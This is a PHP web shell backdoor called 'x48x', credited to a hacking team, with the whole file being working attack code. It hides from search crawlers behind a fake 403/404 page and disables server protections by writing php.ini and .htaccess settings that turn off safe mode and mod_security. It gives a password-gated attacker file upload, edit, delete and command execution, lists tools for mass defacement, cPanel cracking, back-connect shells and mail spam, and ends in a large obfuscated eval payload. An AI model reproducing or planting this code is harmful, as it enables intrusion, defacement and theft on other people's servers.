<?php /* x48x Shell Backdoor Recode by : _Tuan2Fay_ Version : 1.0 Team : Garuda Security Hacker Site : https://blog.garudasecurityhacker.org Facebook : https://www.facebook.com/gshofficialpageindonesia */ session_start(); error_reporting(0); set_time_limit(0); @set_magic_quotes_runtime(0); @clearstatcache(); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); @ini_set('display_errors', 0); $auth_pass = "6e728e1a015ec418f999496a5f9212b7"; // pass : melodynl $errorforbidden = $_SERVER['REQUEST_URI']; $color = "#00ff00"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'UTF-8'; if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } function login_shell() { ?> <?php $errorforbidden = $_SERVER['REQUEST_URI']; ?> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access <?php print $errorforbidden; ?> on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> </body></html> <?php if($_GET['ez'] == 'login') { echo '<br><br><br><br><br><center><form method="post"><input type="password" name="pass"><button>Hai Wots?</button></form></center>'; } ?> <?php exit; } if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else login_shell(); if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) { @ob_clean(); $file = $_GET['file']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } ?> <?php if (file_exists("php.ini")){ }else{ $img = fopen('php.ini', 'w'); $sec = "safe_mode = OFF disable_funtions = NONE"; fwrite($img ,$sec); fclose($img);} if (file_exists(".htaccess")){ }else{ $img2 = fopen('.htaccess', 'w'); $sec2 = "<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>"; fwrite($img2 ,$sec2); fclose($img2);} $inids = @ini_get("disable_functions"); $liatds = (!empty($ds)) ? "<font color='purple'>$inids</font>" : "<font color='white'>Aman cuk :v</font></b>"; if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } echo '<!DOCTYPE HTML> <html> <head> <link href="https://fonts.googleapis.com/css?family=Kranky" rel="stylesheet"> <link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Rye" rel="stylesheet"> <link href="" rel="stylesheet" type="text/css"> <title>x48x</title> <style> body{ font-family: Rye; background-image: url("https://3.bp.blogspot.com/-Jp8DSj3p2Yo/WY8EkZpL4dI/AAAAAAAAAtU/9unFUiNWlpgQ7mRd3tukxZkFcmHlpmnCwCLcBGAs/s1600/Melody.png"); color:purple; background-attachment:fixed; background-repeat:no-repeat; background-position:center; background-color:transparan; -webkit-background-size: 100% 100%; } #menu{ margin:8px 2px 4px 2px; font-family:Rye; font-size:14px; color:silver; align:center; } #menu a{ padding:3px 6px; margin:1; background:pink; align:center; text-decoration:none; letter-spacing:2px; -moz-border-radius: 10px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px; } #menu a:hover{ background:black; border-bottom:1px solid #ffffff; border-top:1px solid #ffffff; } #content tr:hover{ background-color: pink; text-shadow:0px 0px 10px #fff; } #content .first{ background-color: pink; } table{ border: 1px #000000 dotted; } a{ color:violet; text-decoration: none; } a:hover{ color:blue; text-shadow:0px 0px 10px #ffffff; } input,select,textarea{ border: 1px #000000 solid; -moz-border-radius: 5px; -webkit-border-radius:5px; border-radius:5px; } </style> </head> <body> <center><font color="violet" size="7" face="Fredericka the Great">|♥| x48x Web Shell |♥|</font></center><br> <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr><td>'; echo "System: <font color=violet>".php_uname()."</font><br>"; echo "Disable Functions: $liatds"; echo '<br><font color="purple">Path :</font> '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '<a href="?path=/">/</a>'; continue; } if($pat == '') continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; } echo '">'.$pat.'</a>/'; } if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo '<script>alert("Upload Sukses Wots!");</script>'; }else{ echo '<script>alert("Gagal Upload Wots :(");</script>'; } } echo '<form enctype="multipart/form-data" method="POST"> <font color="purple">File Upload :</font> <input type="file" name="file" /> <input type="submit" value="upload" /> </form>'; echo "<form method='post'> <font color='purple'>Command :</font> <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '> </form>"; echo "</td></tr>"; echo "</table><br>"; echo "<center><table id='menu' width='700' border='0' cellpadding='3' cellspacing='1'><tr><td>"; echo "<center>[ <a href='?'>Rumah</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=crdp'>Create RDP</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=massde'>Mass Deface</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=conkill'>Config Killer</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=bypass'>Bypass</a> ]<br><br> [ <a href='?path=$path&ez=userchanger'>User Changer</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=cpcrack'>CP Crack</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=salto'>Salto</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=sym'>Symlink</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=bceng'>Back C0nnect</a> ]<br><br> [ <a href='?path=$path&ez=jones'>Zone-H</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=zip'>Zip Menu</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=cadminer'>Adminer</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=endeco'>Encode/Decode</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=about'>About</a> ]<br><br> [ <a href='?path=$path&ez=spam'>Mail Spam</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&ez=csrf'>CSRF</a> ]<font color='pink'> ==</font> [ <a href='?path=$path&go=cabs'>LogOut</a> ]</center> "; echo "</td></tr></table></center>"; if(isset($_GET['filesrc'])){ echo "<tr><td>Current File : "; echo $_GET['filesrc']; echo '</tr></td></table><br />'; echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>'); } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '</table><br /><center>'.$_POST['path'].'<br /><br />'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo '<script>alert("Change Permission Sukses Wots!!");</script>'; }else{ echo '<script>alert("Gak bisa Change Permission Wots :( ");</script>'; } } echo '<form method="POST"> Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="chmod"> <input type="submit" value="Go" /> </form>'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo '<script>alert("Ganti Nama Sukses Wots!! ");</script>'; }else{ echo '<script>alert("Gak bisa Ganti Nama Wots :( ");</script>'; } $_POST['name'] = $_POST['newname']; } echo '<form method="POST"> New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="rename"> <input type="submit" value="Go" /> </form>'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo '<script>alert("Edit File Sukses Wots ! ");</script>'; }else{ echo '<script>alert("Gak bisa Di Edit Wots :( ");</script>'; } fclose($fp); } echo '<form method="POST"> <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="edit"> <input type="submit" value="Save" /> </form>'; } echo '</center>'; }else{ echo '</table><br/><center>'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo '<font color="white">Directory Terhapus</font><br/>'; }else{ echo '<font color="purple">Directory Gagal Terhapus </font><br/>'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo '<font color="white">File Terhapus</font><br/>'; }else{ echo '<font color="purple">File Gagal Dihapus</font><br/>'; } } } //////////////ini toolsnya ya om :) eval(str_rot13(gzinflate(str_rot13(base64_decode('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